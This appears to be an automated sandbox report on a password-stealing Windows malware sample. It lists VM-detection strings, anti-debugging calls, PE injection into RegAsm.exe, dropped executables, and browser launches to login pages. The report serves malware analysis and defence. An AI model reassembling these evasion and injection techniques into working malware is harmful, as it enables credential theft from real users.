Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: firefox.exe, 00000031.00000003.2761334389.000002033A7FA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.2604866040.000002033A7FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW1
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: firefox.exe, 00000031.00000002.4737168375.000002033A7FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: firefox.exe, 00000031.00000002.4737168375.000002033A7FA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.2761334389.000002033A7FA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.2604866040.000002033A7FA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000034.00000002.2672529573.000002650EEC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: VBoxService.exe
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: 3kaNpKWTvXjwLZn_llOJ.exe, 00000010.00000003.2362295339.000000000193F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Hyper-VU
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: Web Data.36.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: Web Data.36.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: explorhe.exe, 0000002E.00000003.3962232462.000000000142D000.00000004.00000020.00020000.00000000.sdmp, explorhe.exe, 0000002E.00000002.4711406923.000000000142D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWE
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: VMWare
Source: Web Data.36.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Web Data.36.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: Web Data.36.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Hides threads from debuggers

Anti Debugging

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Thread information set: HideFromDebugger

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe

Code function: 16_2_0068EAA2 BlockInput,

16_2_0068EAA2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00500184 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_00500184

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0047BD40 SetUnhandledExceptionFilter,LoadLibraryA,LoadLibraryA,CreateThread,FindCloseChangeNotification,Sleep,GetTempPathA,CreateDirectoryA,CreateDirectoryA,Sleep,CreateDirectoryA,SetCurrentDirectoryA,CreateMutexA,GetLastError,Sleep,Sleep,Sleep,shutdown,closesocket,WSACleanup,Sleep,Sleep,Sleep,GetModuleHandleA,GetProcAddress,GetCurrentProcess,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,CreateThread,CreateThread,CreateThread,CreateThread,WaitForSingleObject,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,WaitForSingleObject,WaitForSingleObject,CloseHandle,DeleteFileA,Sleep,OutputDebugStringA,CreateMutexA,GetLastError,Sleep,Sleep,Sleep,shutdown,closesocket,Sleep,

2_2_0047BD40

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0044A530 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

2_2_0044A530

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BB80 mov eax, dword ptr fs:[00000030h]	2_2_0047BB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BB80 mov eax, dword ptr fs:[00000030h]	2_2_0047BB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov ecx, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 mov eax, dword ptr fs:[00000030h]	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00426850 mov eax, dword ptr fs:[00000030h]	2_2_00426850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041AC60 mov eax, dword ptr fs:[00000030h]	2_2_0041AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041AC60 mov eax, dword ptr fs:[00000030h]	2_2_0041AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041AC60 mov eax, dword ptr fs:[00000030h]	2_2_0041AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041AC60 mov eax, dword ptr fs:[00000030h]	2_2_0041AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041AC60 mov eax, dword ptr fs:[00000030h]	2_2_0041AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041AC60 mov eax, dword ptr fs:[00000030h]	2_2_0041AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041AC60 mov eax, dword ptr fs:[00000030h]	2_2_0041AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041AC60 mov eax, dword ptr fs:[00000030h]	2_2_0041AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041AC60 mov eax, dword ptr fs:[00000030h]	2_2_0041AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041AC60 mov eax, dword ptr fs:[00000030h]	2_2_0041AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041AC60 mov eax, dword ptr fs:[00000030h]	2_2_0041AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041AC60 mov eax, dword ptr fs:[00000030h]	2_2_0041AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00419EC0 mov eax, dword ptr fs:[00000030h]	2_2_00419EC0
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_00634CE8 mov eax, dword ptr fs:[00000030h]	16_2_00634CE8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0049E4B0 CharNextA,CharNextA,CharNextA,CharNextA,lstrlenA,GetProcessHeap,GetProcessHeap,HeapAlloc,lstrcpynA,GetProcessHeap,HeapFree,

2_2_0049E4B0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047BD40 SetUnhandledExceptionFilter,LoadLibraryA,LoadLibraryA,CreateThread,FindCloseChangeNotification,Sleep,GetTempPathA,CreateDirectoryA,CreateDirectoryA,Sleep,CreateDirectoryA,SetCurrentDirectoryA,CreateMutexA,GetLastError,Sleep,Sleep,Sleep,shutdown,closesocket,WSACleanup,Sleep,Sleep,Sleep,GetModuleHandleA,GetProcAddress,GetCurrentProcess,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,CreateThread,CreateThread,CreateThread,CreateThread,WaitForSingleObject,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,CreateThread,WaitForSingleObject,WaitForSingleObject,CloseHandle,DeleteFileA,Sleep,OutputDebugStringA,CreateMutexA,GetLastError,Sleep,Sleep,Sleep,shutdown,closesocket,Sleep,	2_2_0047BD40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00500184 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00500184
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004FB8A4 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_004FB8A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004FBC4D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_004FBC4D
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_00642622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00642622
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_0063083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_0063083F
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_006309D5 SetUnhandledExceptionFilter,	16_2_006309D5
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_00630C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00630C21

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

Memory allocated: page read and write | page guard

Allocates memory in foreign processes

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

Code function: 0_2_033FA48D CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

0_2_033FA48D

Contains functionality to inject threads in other processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00421C30 VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAllocEx,LoadLibraryA,GetProcAddress,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject,

2_2_00421C30

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 52E000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 55A000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 55E000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 56A000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 11F2008	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe

16_2_00671201

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe

Code function: 16_2_00652BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

16_2_00652BA5

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe

Code function: 16_2_0067B226 SendInput,keybd_event,

16_2_0067B226

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe

Code function: 16_2_006922DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

16_2_006922DA

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe "C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe "C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Process created: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe "C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.youtube.com/	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.facebook.com/login	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://accounts.google.com/	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.facebook.com/login	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://accounts.google.com	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com	Jump to behavior
